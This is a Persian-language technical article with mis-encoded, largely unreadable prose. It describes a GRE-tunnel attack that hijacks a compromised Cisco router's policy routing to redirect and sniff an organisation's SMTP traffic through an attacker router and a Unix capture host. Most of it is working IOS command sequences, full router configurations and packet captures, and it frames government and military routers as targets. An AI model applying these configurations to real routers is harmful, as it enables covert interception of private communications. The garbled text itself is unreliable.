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 :ُؾذاس
ثَ دلیل دس دعتشط ثْدى هغیش یبة ُبی ثب کلوَ ػجْس پیؾفشض دس ؽجکَ 
ایٌتشاًت هلی اص خولَ هغیش یبة ُبی عبصهبى ُبی ًظبهی ّ دّلتی کؾْس ّ 
ُوچٌیي هغیش یبة ُبی هْخْد دس ؽجکَ ایٌتشًت ّ اهکبى اعتفبدٍ هخشة 

 :اص ایي هقبلَ  لاصم ثَ رکش اعت کَ

کلیَ هغبلت اسائَ ؽذٍ دس ایي هقبلَ تٌِب خٌجَ آهْصؽی داؽتَ ّ  
ًْیغٌذٍ ایي هقبلَ ُیچ هغئْلیتی سا دس قجبل اعتفبدٍ هخشة دس 

صهیٌَ ًفْر ثَ عیغتن ُبی اهٌیتی ؽجکَ ُبی دّلتی ، ًظبهی ّ 
اعلاػبتی کؾْس ثَ ػِذٍ ًخْاُذ گشفت ّ هغئْلیت آى ثَ ػِذٍ 

 .خْاًٌذٍ خْاُذ ثْد
 

 



 



 :هقذهَ 

 خضّ یکی اص زولات قذستوٌذ خِت خبعْعی ثش سّی ؽجکَ ُبی هسلی ّ ؽجکَ ُبی  GRE Tunnelingزولات 

 .ایٌتشًتی ثْدٍ اعت

ایي .دس آصهْى ُبی ًفْر پزیشی دس کؾْس هب اغلت زولات ثش سّی سّتش ُب هٌدش ثَ دعتشعی ثَ هغیش یبة هیگشدد

هغیش یبة ُب ثَ صْست خیلی خبلجی خبسج اص عیغتن ُبی فبیشّالیٌگ ؽجکَ قشاس داسًذ ّ اکثشا داسای اهٌیت 

 !ضؼیفی ُغتٌذ

ّ . دس اکثش هْاسد اعتفبدٍ اص ایي ضؼف هیتْاًذ ًقغَ ؽشّػی خِت تْعؼَ ًقبط ًفْر دس عبصهبى آعیت پزیش ثبؽذ

 .دس اکثش هْاسد دس صْست اعتفبدٍ اص فیلتش ُبی هٌبعت هیتْاى اعلاػبت زغبعی سا ثذعت آّسد

 ثش سّی ؽجکَ ّ GRE ثب اعتفبدٍ اص پشّتکل Sniffingتکٌیکی کَ هي دس هْسد آى ثسث هیکٌن اخشای یک زولَ 

 .سّتیٌگ دیتب ُبی ؽجکَ ُغت

 Things To Do In Cisco Land ثب هقبلَ ای ثب ػٌْاى Phrack #56 دس هدلَ Gauisایي زولَ اّلیي ثبس تْعظ 

When You Are Dead! هؼشفی ؽذ  . 

خِت خبعْعی ثش سّی ؽجکَ آًِب  ) ثش سّی هغیشیبة ُذف GRE Tunnel ؽبهل ثشقشاس کشدى یک Guisتکٌیک 

 .  ؽبهلؼ هیؾذ ، ثْدTcpDumpثَ یک عیغتن ػبهل لیٌْکظ کَ اثضاس دعتکبسی ؽذٍ اص کذ ُبی  (

 Red Team Assessment of“  دیذگبٍ دیگَ ای اص ایي سّػ سا دس هقبلَ خْد ثب ػٌْاى Joshua Wrightعپظ 

Parliament Hill Firewall”  دس ایي سّػ اص ایدبد یک . اسائَ ًوْدGRE Tunnel  خذیذ ثش سّی هغیش یبة دّم 

خشّخی اعلاػبت          :  ؽذٍ سا تٌِب دس یک هغیش هذیشیت کٌذSniffصشف ًظش کشدٍ ّ فقظ عؼی کشد اعلاػبت 

 (OutBound )  عبصهبى! 

 کشدى تبًل Terminate  تْعؼَ پیذا کشد، ایٌجبس ثب اعتفبدٍ اص سّتش دّم ثشای Joshuaدس ایي آصهبیؼ سّیکشد 

GRE.  

یکی اص فبکتْس ُبی اصلی ای کَ ثبػث خبلت ؽذى ایي سّػ ؽذ ثَ زذاقل سعًْذى اعتفبدٍ اص ًشم افضاس ُب ّ 

 . ثْدTcpDump ؽذٍ ثشای اخشای ایي زولَ هبًٌذ دعتکبسی کذ ُبی Customizeکبهپًٌْت ُبی 

http://www.phrack.com/show.php?p=56&a=10
http://www.phrack.com/show.php?p=56&a=10
http://www.phrack.com/show.php?p=56&a=10
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قجل اص ؽشّع هقبلَ ّ هؼشفی ایي هتذ خب داسٍ اص آقبی زغیي ػغگشی کَ ایي هتذ سّ ثَ هي هؼشفی کشدى  ّ 

ُوچٌیي آقبی زویذ کؾفی ثَ خبعش خْاة ُبی خْثؾْى ثَ هي ّ ُوچٌیي عئْال ُبیی کَ ایؾْى دس عبل 

 هغشذ کشدى ّ ّاقؼب عئْال ُبی خْد هي ُن ثْد تؾکش Government Security دس تبلاس ُبی گفتوبى 2003

 .ُویٌغْس اص توبهی دّعتبى دس سعبًَ اهٌیت دیدیتبل کَ ُوْاسٍ ثَ هي کوک کشدًذ. کٌن 

 

  :GRE Tunnelingهؼشفی دیذگبٍ ُبی هتفبّت دس صهیٌَ زولَ 

ّ سّتش دّم  (خِت کپچش اعلاػبت آى  ) ُذف Router ثیي GRE Tunnelدیذگبٍ اًتخبة ؽذٍ ؽبهل ایدبد یک 

 . کَ تست کٌتشل ًفْرگش قشاس داسد اعت

 کشدى تشافیک ّسّدی ّ خشّخی سّتش عبصهبى ُذف ثَ سّتش ًفْرگش Redirect ُب ثشای Routing Policyعپظ 

 . هْسد اعتفبدٍ قشاس گشفتGRE Tunnelingثَ ّعیلَ 

تشافیک عبصهبى ُذف تْعظ سّتش ًفْرگش قجل اص ثشگؾت هدذد ثَ سّتش عبصهبى ُذف ثشای اًتقبل ًِبیی ثَ 

 . هیؾْدHandle ثیي دّ سّتش   GRE Tunnelingّعیلَ 

 : کشدى دس ایي سّػ هْسد آصهبیؼ قشاس گشفت Handleدّ عٌبسیْی 

ؽکل  ). ثشهیگشددGREدس عٌبسیْ اّل تشافیک عشقت ؽذٍ ثغْس کبهل تْعظ سّتش ًفْرگش هٌؼکظ ؽذٍ ّ ثَ تبًل 

1 )  

 :هضیت ایي هتذ دس سازتی دس کبًفیگ کشدى سّتش ُغت ّلی ایي هتذ دّ هؾکل سّ ایدبد هیکٌَ

ایي هؾکل .  ؽْدSniffخِت عشقت تشافیک ؽجکَ ُذف لاصم اعت کَ تشافیک خشّخی سّتش ًفْرگش ًیض  -1

 . ای ثبؽذEthernetهیتْاًذ هؼزلی ثشای ؽجکَ ُبی غیش 

ؽوب هیتًْیذ ایي سّ ثَ  ).  قشاس داسدGRE اص ًْع  encapsulatedتشافیک عشقت ؽذٍ ؽجکَ ثَ صْست  -2

 قشاس داسى ّ اص ایي زبلت GRE دس ًظش ثگیشیذ کَ ٌُْص دس زبلت پکت ُبی تبًل GREصْست یک پکت 

 ثش سّی decapsulateکَ ایي قضیَ ثبػث هیؾَ کَ ًفْرگش هدجْس هیؾَ کَ یک هتذ . (خبسج ًؾذى 

 . اًدبم ثذٍ IP ثش سّی Decodingتشافیک عشقت ؽذٍ پیؼ اص اخشای یک ػولیبت 



 

 

 1عٌبسیْی ؽوبسٍ  :1ؽکل 

 

 کشدى دّم ، سّتش ًفْرگش ثَ گًَْ ای کبًفیگ هیؾْد کَ تشافیک عشقت ؽذٍ سّ ثَ ّعیلَ Handleدس عٌبسیْی 

ُوْى عیغتن " ثَ اّى"هٌظْس اص  )یک عیغتن یًْیکظ قجل اص ثشگؾت ثَ سّتش هْسد زولَ ثَ اّى ثفشعتَ  

 (! یًْیکظ ُغت 

 

 :ایي هتذ ثَ اؽکبلات عٌبسیْی قجلی پبیبى هیذٍ 

 .ّاعظ ؽجکَ خشّخی دس سّتش ًفْرگش  ثَ صْست اختیبسی خْاُذ ثْد-1



 فْسّاسد هیؾْد ّ decapsulate ؽذٍ ثَ ّعیلَ عیغتن یًْیکظ دس ّاقغ ثَ صْست Forwardتشافیک -2

 .ًیبصهٌذ پشداصػ کوتشی خِت ثذعت آّسدى اعلاػبت زغبط هیجبؽذ

 

 2عٌبسیْی ؽوبسٍ  : 2ؽکل 

 

 :سّػ ُب

 اعتفبدٍ ؽذٍ سا ًؾبى GRE Tunnelؽکل صیش تْپْلْژی یک ؽجکَ کَ دس ایي آصهبیؼ خِت اخشای زولَ 

 .هیذُذ



 

  تْپْلْژی ؽجکَ هْسد آصهبیؼ– 3ؽکل 

 

 : تدِیضات هْسد ًیبص

 ثْدٍ ّ سّتش ًفْرگش یک  Cisco 3600 اص ًْع dual Ethernetسّتش ُذفی کَ هْسد اعتفبدٍ قشاس گشفت یک سّتش 

.  ُبی سّتش ُبی عیغکْ هیجبؽذIOSایي سّػ زولَ ثَ سازتی قبثل اخشا ثش سّی کلیَ .  ثْدCisco 2600سّتش 

 سا پؾتیجبًی کٌٌذ ُن GRE ّ Routing Policyُوچٌیي ایي سّػ قبثل اخشا ثش سّی سّتش ُبی دیگشی کَ تبًل 

 .هیجبؽذ

اًتخبة ایي عیغتن ُب .  ؽجکَ یک عیغتن ػبهل عْلاسیظ ثْدsnifferعشّس ایویل یک عیغتن لیٌْکظ ّ 

 .اختیبسی هیجبؽذ



  :GRE Tunnelingاخشای زولَ 

 ثیي GRE Tunnel دس سّتش ُب ، ثشقشاسی استجبط IPاّلیي هشزلَ  اص اخشای ایي زولَ پظ اص اخشای تٌظیوبت اّلیَ 

 .سّتش ًفْرگش ّ سّتش ؽجکَ ُذف اعت 

دس پیبدٍ عبصی یک زولَ ّاقؼی ثب ایي سّػ لاصم ُغت کَ سّتش ُذف اثتذا هْسد ًفْر قشاس ثگیشد ّ ثَ ًقْرگش ثَ 

 .ًقغَ ای اص عغْذ دعتشعی ثشعذ کَ تْاًبیی کبًفیگ سّتش اص ساٍ دّس سا داؽتَ ثبؽذ

 .سّػ ُبی هْسد اعتفبدٍ خِت سعیذى ثَ ایي ًقغَ اص عغر اص دعتشعی دس ایي هقبلَ ثشسعی ًویؾْد

  

 :فشاهیي ّاسد ؽذٍ دس سّتش ُذف 

Target#conf t 

Target(config)#int tunnel0 

Target(config-if)#ip address 192.168.5.1 255.255.255.0 

Target(config-if)#tunnel source eth0/1 

Target(config-if)#tunnel dest 192.168.1.2 

Target(config-if)#tunnel mode gre ip 

Target(config-if)#exit 

Target(config)#exit 

Target# 

پظ اص ایي کبس . گزاؽتین ایدبد ؽذtunnel0خْة ُوًْغْس کَ هؾبُذٍ هیکٌین ایٌتشفیظ تبًلی کَ هب اعوؾْ 

 . ثَ آى اختصبؿ دادٍ هیؾْد192.168.5.1 لْکبل هدبصی IPیک 

 خبسخی سّتش ًفْرگش IPُوچٌیي .تؼشیف هیؾْد local tunnel endpoint سّتش ثَ ػٌْاى Externalایٌتشفیظ 

 .تؼشیف هیؾْد remote tunnel endpointثَ ػٌْاى 



 :فشهبى ُبی هؾبثِی دس سّتش ًفْرگش ّاسد هیؾْد

 

 :سّتش ًفْرگش 

Attacker#conf t 

Attacker(config)#int tunnel0 

Attacker(config-if)#ip address 192.168.5.2 255.255.255.0 

Attacker(config-if)#tunnel source eth0/1 

Attacker(config-if)#tunnel dest 192.168.1.1 

Attacker(config-if)#tunnel mode gre ip 

Attacker(config-if)#exit 

Attacker(config)#exit 

Attacker# 

 

 . ثیي دّ سّتش ثشقشاس ؽذٍ GRE Tunnelخْة زبلا استجبط 

 Hop ثَ ػٌْاى یک GRE Tunnel ثیي دّ سّتش دس ایٌتشًت ّخْد داسٍ زبلا HOPصشف ًظش اص ایٌکَ چَ تؼذاد 

 .تؼشیف ؽذٍ 

 

Policy Routing هتذاّل :  

 سّتش ًفْرگش خِت اًؼکبط tunnel0 سا دس ایٌتشفیظ  Policy Routingهب  ( 1ؽکل  )ثشای عٌبسیْی اّل 

 : تٌظین هیکٌینGRE Tunnelتشافیک سعیذٍ ثَ 

 



 :دس سّتش ًفْرگش 

Attacker#conf t 

Attacker(config)#access-list 100 permit ip any any 

Attacker(config)#route-map reflect 

Attacker(config-route-map)#match ip address 100 

Attacker(config-route-map)#set ip next-hop 192.168.5.1 

Attacker(config-route-map)#exit 

Attacker(config)#int tunnel0 

Attacker(config-if)#ip policy route-map reflect 

Attacker(config-if)#exit 

Attacker(config)#exit 

Attacker# 

Access-list 100 ثب توبم تشافیک هچ هیجبؽذ . 

Route-Map توبهی تشافیکی کَ ثب Access-List 100  (  توبم تشافیک)  َهچ ُغتٌذ سّ  اًتخبة ّ اّى سّ ث

 اػوبل tunnel0 ثش سّی ایٌتشفیظ route mapایي .  کَ سّتش ُذف اًتِبی تبًل ُغت هیفشعت192.168.5.1َ

 .هیؾْد

 ) سّتش ًفْرگش هیشعٌذ اص آى ایٌتشفیظ tunnel0ًتیدَ ایي فشاهیي ایي اعت کَ توبهی تشافیکی کَ ثَ ایٌتشفیظ 

tunnel )Forward Backخبسج ؽذٍ ّ ثَ سّتش ُذف ثش هیگشدد ّ . 

 

  : 1تٌظیوبت عیغتن یًْیکظ دس عٌبسیْ 

 . عیغتن یًْیکظ ًفْرگش خبسج اص ایٌتشفیظ خبسخی سّتش ًفْرگش قشاس داسد1دس عٌبسیْ 



 عیغتن یًْیکظ اختیبسی خْاُذ ثْد ، چشا کَ عیغتن یًْیکظ تٌِب ًیبص داسد کخ ثَ IPدس ایي زبلت تٌظیوبى 

 . کٌذCaptureتشافیک ؽجکَ سا  (ثذّى اًدبم ػولیبت خبصی  )صْست غیش فؼبل ّ اًفؼبلی 

  

  :Policy Routing ، 2عٌبسیْ 

 ایٌتشفیظ داخلی دس Ethernet سّتش ًفْرگش ّ Interface Tunnel سا دس Policy Routingدس عٌبسیْ دّم هب 

 ثَ ّعیلَ عیغتن یًْیکظ هْخْد دس ایٌتشفیظ داخلی GRE Tunnelزبلت اًؼکبط تشافیک سعیذٍ اص 

Ethernet ( Internal  (قشاس هیذُین  . 

 :دس سّتش ًفْرگش 

Attacker#conf t 

Attacker(config)#access-list 100 permit ip any any 

Attacker(config)#route-map send-traffic-in 

Attacker(config-route-map)#match ip address 100 

Attacker(config-route-map)#set ip next-hop 192.168.3.2 

Attacker(config-route-map)#exit 

Attacker(config)#int tunnel0 

Attacker(config-if)#ip policy route-map send-traffic-in 

Attacker(config-if)#exit 

Attacker(config)#route-map send-traffic-out 

Attacker(config-route-map)#match ip address 100 

Attacker(config-route-map)#set ip next-hop 192.168.5.1 

Attacker(config-route-map)#exit 



Attacker(config)#int eth0/0 

Attacker(config-if)#ip policy route-map send-traffic-out 

Attacker(config-if)#exit 

Attacker(config)#exit 

Attacker# 

ثب ایٌکبس توبهی تشافیکی کَ اص تبًل . اػوبل هیؾْدtunnel0 ثش سّی ایٌتشفیظ route mapتشافیک اسعبلی دس 

عپظ عیغتن .  اسعبل هیکٌذ ) 192.168.3.2 ) عیغتن یًْیکظ هب Ethernetهیشعٌذ سا ثَ آدسط اصلی 

 .اًدبم هیذُذ ( 192.168.4.1 ) سا ثَ سّتش ًفْرگش Traffic Backیًْیکظ ایي تشافیک سا سّت کشدٍ ّ ػول 

 

 : ، تٌظیوبت عیغتن یًْیکظ2عٌبسیْ 

 :عیغتن یًْیکظ ثَ صْست صیش کبًفیگ ؽذٍ اعت 

Primary IP address:  192.168.3.2 

Secondary IP address: 192.168.4.2 

Secondary IP address دس ّاقغ یک آدسط virtual دس ُوبى Network Interfaceفیضیکی اعت . 

Default route:  192.168.4.1 

 

  :Captureتؼشیف تشافیک خِت اًدبم ػولیبت 

 :  تشافیک دس سّتش ُذف اعت  Capture ثشای اًدبم ػولیبت  access Listهشزلَ ثؼذ ایدبد 

 :دس سّتش ُذف ّاسد هیکٌین

Target#conf t 



Target(config)#access-list 101 permit tcp any any eq 25 

Target(config)#access-list 101 permit tcp any eq 25 any 

Target(config)#exit 

Target# 

 

 ُبی لاصم ruleلاصم اعت کَ .   هچ ُغتٌذ Access-Listثب ایي  ( TCP اص ًْع 25پْست  )  SMTPتوبهی تشافیک 

 دس ُش دّ route map  ثَ ػٌْاى access-listسا خِت هچ ؽذى پکت ُبی ّسّدی ّ خشّخی کَ دس ایي 

 .ایٌتشفیظ ّ سّتش اعتفبدٍ خْاُذ ؽذ سا تؼشیف کٌین

 

 : دس سّتش ُذف Policy Routingػولیبت 

 سا تؼشیف GRE Tunnel سا دس سّتش ُذف ثشای اسعبل هْسد ُذف هب اص عشیق Policy Routingدس ًِبیت هب 

 .هیکٌین

 :دس سّتش ُذف 

Target#conf t 

Target(config)#route-map capture-traffic 

Target(config-route-map)#match ip address 101 

Target(config-route-map)#set ip next-hop 192.168.5.2 

Target(config-route-map)#exit 

Target(config)#int eth0 

Target(config-if)#ip policy route-map capture-traffic 

Target(config-if)#exit 

Target(config)#int eth1 



Target(config-if)#ip policy route-map capture-traffic 

Target(config-if)#exit 

Target(config)#exit 

Target# 

Route map ثَ گًَْ ای دس ایٌدب تؼشیف ؽذٍ اعت کَ توبم تشافیک ُبی اص access-list 101 ( توبهی تشافیک

 . فْسّاسد کٌذGREسا هَچ کشدٍ ّ آى سا ثَ سّتش ًفْرگش اص عشیق تبًل  ( SMTPُبی 

 . ثش سّی ُش دّ ایٌتشفیظ داخلی ّ خبسخی سّتش اػوبل هیؾْدroute mapایي 

  ثَ سّتش GRE Tunnel ثَ ّعیلَ سّتش ُذف ثَ ّعیلَ SMTPدس ایي هشزلَ توبهی تشافیک ّسّدی ّ خشّخی 

 . هیؾْدRedirectًفْرگش 

ثش هجٌبی هکبًیضم اعتبًذاسد سّتیٌگ  (تشافیک ثبصگؾتی  ) GRE Tunnelتشافیک سعیذٍ اص سّتش ُذف ثَ ّعیلَ 

Deliverخْاُذ ؽذ . 

 . ثجیٌیذ1تٌظیوبت ًِبیی ثشای سّتش ُذف سا دس ضویوَ 

 . ثجیٌیذ3 ّ 2تٌظیوبت ًِبیی ثشای دّ عٌبسیْی رکش ؽذٍ  دس سّتش ًفْرگش سا ثَ تشتیت دس ضویوَ 

 

 :ًتبیح 

  هٌتقل ؽذٍ ّ ثَ صْست هْفقیت آهیضی تْعظ GRE Tunneling ثَ ّعیلَ SMTPدس ُشدّ عٌبسیْ استجبعبت 

 . گشدیذCaptureعیغتن یًْیکظ 

 

 

 



  :1عٌبسیْ 

 3way ) دس ٌُگبم ثشقشاسی استجبط SMTP Sessionاعلاػبت ثذعت آهذٍ صیش ًؾبى دٌُذٍ قغغ ؽذى  

handshake َاعت1ثشای عٌبسیْی ؽوبسٍ  ( یب ُوبى دعت دادى عَ عشف . 

  1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 

  2   0.00208  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823 

  3   0.00144  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797 

  4   0.00277  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824 

  5   0.00140  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798 

  6   0.00060  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 

  7   0.00032  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 

  8   0.00183  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825 

  9   0.00138  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799 

 . اص کلایٌت ثَ عوت هیل عشّس لیٌْکظ اعتTCP SYN ًؾبى دٌُذٍ ثغتَ  1 پکت 

 اص عوت سّتش ُذف ثَ عوت سّتش ًفْرگش اسعبل ؽذٍ ّ عپظ ثبصگؾتَ SYN ًؾبى هیذُذ کَ ایي 3 ّ 2پکت 

 .اعت

هیل عشّس ًیض ثب یک ثغتَ  (کَ دس ایٌدب هؾبُذٍ ًویؾْد  ) ثَ هیل عشّس تسْیل دادٍ هیؾْدSYN ، 3ثؼذ اص پکت 

SYN/ACK(دس ایٌدب هؾبُذٍ ًویؾْد  ) ثَ آى پبعخ هیذُذ  

 . سا عی هیکٌذ GRE Tunnel هغیش SYN/ACK ًؾبى هیذُذ کَ 5 ّ 4پکت 

 . ثَ عوت هیل کلایٌت ثش هیگشددSYN/ACK ًؾبى هیذُذ کَ 6پکت 

 .سا اص عوت کلایٌت ثَ عوت عشّس ًؾبى هیذُذ (ثغتَ آخش دس دعت دادى عَ عشفَ  )  ًِبیی ACK ثغتَ 7پکت 

 . سا عی هیکٌذGRE Tunnel هغیش ACK ًؾبى هیذُذ کَ ایي ثغتَ 9 ّ 8پکت 



 اداهَ پیذا SMTP ثشقشاس ؽذٍ ّ استجبط Sessionایي .  ثَ هیل عشّس تسْیل دادٍ هیؾْدACK ثغتَ 9ثؼذ اص پکت 

 .هیکٌذ

 . قشاس داسد4 ایي استجبط دس پیْعت Captureاعلاػبت کبهلتش اص 

 

 :2عٌبسیْ

 3way ) دس ٌُگبم ثشقشاسی استجبط SMTP Sessionاعلاػبت ثذعت آهذٍ صیش ًؾبى دٌُذٍ قغغ ؽذى 

handshake َاعت2ثشای عٌبسیْی ؽوبسٍ  ( یب ُوبى دعت دادى عَ عشف . 

  1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 

  2   0.00014  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 

  3   0.00585  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 

  4   0.00011  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 

  5   0.00579  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 

  6   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 

ایي تشافیک ّ دس ّاقغ ثَ عْس ثِتش .  سا اص عوت کلایٌت ثَ هیل عشّس ًؾبى هیذُذTCP SYN ثغتَ 2 ّ 1پکت 

 ؽذٍ ّسّدی ّ Capture ّ هْاصی ّ تکشاسی ثَ دلیل ایٌکَ تشافیک Douplicateتوبم تشافیک ُب ثَ صْست 

 .خشّخی اص یک ایٌتشفیظ یکغبى دس عیغتن یًْیکظ ّاسد ّ خبسج هیؾًْذ

 . اسعبلی اص عوت هیل عشّس ثَ عوت کلایٌت اعتSYN/ACK ًؾبى دٌُذٍ 4 ّ 3پکت 

قغوت آخش ػولیبت دعت  ) اص عوت کلایٌت ثَ عوت هیل عشّس ACK ًؾبى دٌُذٍ ثغتَ اسعبلی 6 ّ 5پکت 

 .اعت (دادى عَ عشفَ 

 . قشاس داسد5 ایي استجبط دس پیْعت Captureاعلاػبت کبهلتش اص 

 



 :ًتیدَ گیشی 

 :ؽفبفیت

ثخؼ تبخیشات سا دس اداهَ  ).ایي هتذ خبعْعی ثَ صْست کبهل اص دیذ کبسثشاى ًِبیی عیغتن ُب پٌِبى اعت

 (ثخْاًیذ

  GRE Redirection اعتبًذاسد ، ُیچ چیضی سا دسثبسٍ ّخْد ُبة اضبفی ًبؽی اص ػولیبت trace routeاثضاس ُبی 

 .ًؾبى ًویذٌُذ

 policy routing سا دس ایي آصهبیؼ ثَ ػٌْاى یک trace routeدلیل ایي اهش ایي اعت کَ هب تشافیک ػولیبت 

 .اضبفَ ًکشدٍ این

 کَ ثب اعتفبدٍ اص  TCP ثش هجٌبی trace routeُشچٌذ ایي اهکبى ّخْد داسد کَ ؽخصی اقذام ثَ ًْؽتي یک 

ّلی دس کل چٌیي .  ُبی اضبفی کبس کٌذ ثکٌذ HOP خِت ؽٌبعبیی  TTL  ّ افضایؼ هقذاس 25استجبعبت  پْست 

 .اهشی کبس عختی ثَ ًظش هیشعذ ، ُشچٌذ غیش هوکي ثَ ًظش ًویشعذ

 .الجتَ لاصم ثَ رکش اعت کَ ثشسعی تٌظیوبت سّتش ُذف ثبػث کؾف عشیغ زولَ خْاُذ ؽذ

 

 :تبخیشات 

 .پشّعَ سیذایشکت کشدى تشافیک ثَ ّعیلَ سّتش ًفْرگش تبخیش ثیؾتشی سا دس تشافیک عشقت ؽذٍ ایدبد هیکٌذ

 :افضایؼ تبخیش سا ؽبیذ ثتْاى ثَ صْست صیش ًؾبى داد

2n + m 

 m ًؾبى دٌُذٍ صهبى لاصم خِت اًتقبل تشافیک اص عشیق ایٌتشًت اص سّتش ُذف ثَ سّتش ًفْرگش ّ nکَ دس آى 

 تشافیک ایدبد Handleًؾبى دٌُذٍ صهبى تبخیشی اعت کَ تْعظ سّتش ًفْرگش ّ عیغتن یًْیکظ دس ٌُگبم 

 .هیؾْد



 ( سا ثجیٌیذ 6پیْعت  ) هیلی ثبًیَ هسبعجَ ؽذٍ اعت 10 دس ؽشایظ آصهبیؾگبُی دس زذّد mهقذاس 

 هوکي اعت ثغتَ ثَ ؽشایظ هتفبّت ثبؽذ  ایي تکٌیک ثِتش اعت هسذّد ثَ عشّیظ ُبیی nثَ دلیل ایٌکَ هقذاس 

 .ثبؽذ ....  SMTP ، DNS Zone Transferّثب ػذم صهبى ثسشاًی هثل 

 

 :دیکْد کشدى تشافیک

ثذعت آّسدى اعلاػبت اص تشافیک عشقت ؽذٍ ثب اعتفبدٍ اص فیلتش ُب ّ ًشم افضاس ُبی هٌبعت سا ثَ خْاًٌذٍ ّاگزاس 

 .هیکٌن

 .  هوکي اعت اثضاسی هٌبعت ثبؽٌذOD یب stringsاثضاس ُبی اعتبًذاسد یًْیکظ هبًٌذ 

 

 :ػذم اختلال دس ٌُگبم خبعْعی

 ثَ ػٌْاى تٌِب ًقغَ ػذم 2لاصم ثَ رکش اعت کَ سّتش ًفْرگش ّ ُوچٌیي عیغتن یًْیکظ دس عٌبسیْی ؽوبسٍ 

سّتش ًفْرگش ّ یب عیغتن یًْیکظ  )اگش ُشیک اص ایي دعتگبٍ ُب . هْفقیت ّ قغغ اتصبل دس هغیش استجبعی ُغتٌذ

 . دس ثخؼ ُبی قجل ثَ هقصذ تسْیل دادٍ ًخْاٌُذ ؽذAccess-Listاص کبس ثیبفتٌذ تشافیک اًتخبة ؽذٍ دس  (

 

 

 

 

 

 

 



 :پیْعت 

 :تٌغیوبت سّتش ُذف  : 1پیْعت 

! 
version 12.2 
service timestamps debug uptime 
service timestamps log uptime 
no service password-encryption 
! 
hostname Target 
! 
no logging console 
! 
ip subnet-zero 
! 
interface Tunnel0 
 ip address 192.168.5.1 255.255.255.0 
 tunnel source Ethernet0/1 
 tunnel destination 192.168.1.2 
! 
interface Ethernet0/0 
 ip address 192.168.2.1 255.255.255.0 
 ip policy route-map capture-traffic 
 half-duplex 
! 
interface Ethernet0/1 
 ip address 192.168.1.1 255.255.255.0 
 ip policy route-map capture-traffic 
 half-duplex 
! 
ip classless 
no ip http server 
no ip pim bidir-enable 
! 
access-list 101 permit tcp any any eq smtp 
access-list 101 permit tcp any eq smtp any 
no cdp run 
route-map capture-traffic permit 10 
 match ip address 101 
 set ip next-hop 192.168.5.2 
! 
line con 0 
line aux 0 
line vty 0 4 
 privilege level 15 
 login 
! 
end 

 



  :1تٌظیوبت سّتش ًفْرگش دس عٌبسیْی : 2پیْعت 

! 
version 12.2 
service timestamps debug uptime 
service timestamps log uptime 
no service password-encryption 
! 
hostname Attacker 
! 
logging buffered 4096 debugging 
no logging console 
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0 
! 
memory-size iomem 10 
ip subnet-zero 
! 
interface Tunnel0 
 ip address 192.168.5.2 255.255.255.0 
 ip policy route-map reflect 
 tunnel source Ethernet0/1 
 tunnel destination 192.168.1.1 
! 
interface Ethernet0/0 
 ip address 192.168.3.1 255.255.255.0 
 half-duplex 
! 
interface Ethernet0/1 
 ip address 192.168.1.2 255.255.255.0 
 half-duplex 
! 
ip classless 
no ip http server 
no ip pim bidir-enable 
! 
access-list 100 permit ip any any 
no cdp run 
route-map reflect permit 10 
 match ip address 100 
 set ip next-hop 192.168.5.1 
! 
line con 0 
line aux 0 
line vty 0 4 
 privilege level 15 
 no login 
! 
end 

 

 



 2تٌظیوبت سّتش ًفْرگش دس عٌبسیْی  : 3پیْعت 

version 12.2 
service timestamps debug uptime 
service timestamps log uptime 
no service password-encryption 
! 
hostname Attacker 
! 
logging buffered 4096 debugging 
no logging console 
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0 
! 
memory-size iomem 10 
ip subnet-zero 
! 
interface Tunnel0 
 ip address 192.168.5.2 255.255.255.0 
 ip policy route-map send-traffic-in 
 tunnel source Ethernet0/1 
 tunnel destination 192.168.1.1 
! 
interface Ethernet0/0 
 ip address 192.168.4.1 255.255.255.0 secondary 
 ip address 192.168.3.1 255.255.255.0 
 ip policy route-map send-traffic-out 
 half-duplex 
! 
interface Ethernet0/1 
 ip address 192.168.1.2 255.255.255.0 
 half-duplex 
! 
ip classless 
no ip http server 
no ip pim bidir-enable 
! 
access-list 100 permit ip any any 
no cdp run 
route-map send-traffic-out permit 10 
 match ip address 100 
 set ip next-hop 192.168.5.1 
! 
route-map send-traffic-in permit 10 
 match ip address 100 
 set ip next-hop 192.168.3.2 
! 
line con 0 
line aux 0 
line vty 0 4 
 privilege level 15 
 no login 
! 
end 



  

  :1ؽذٍ اص عٌبسیْ  Captureتشافیک  : 4پیْعت 
  1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 
  2   0.00208  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823 
  3   0.00144  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797 
  4   0.00277  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824 
  5   0.00140  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798 
  6   0.00060  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 
  7   0.00032  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 
  8   0.00183  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825 
  9   0.00138  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799 
 10  40.09693  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=153, ID=826 
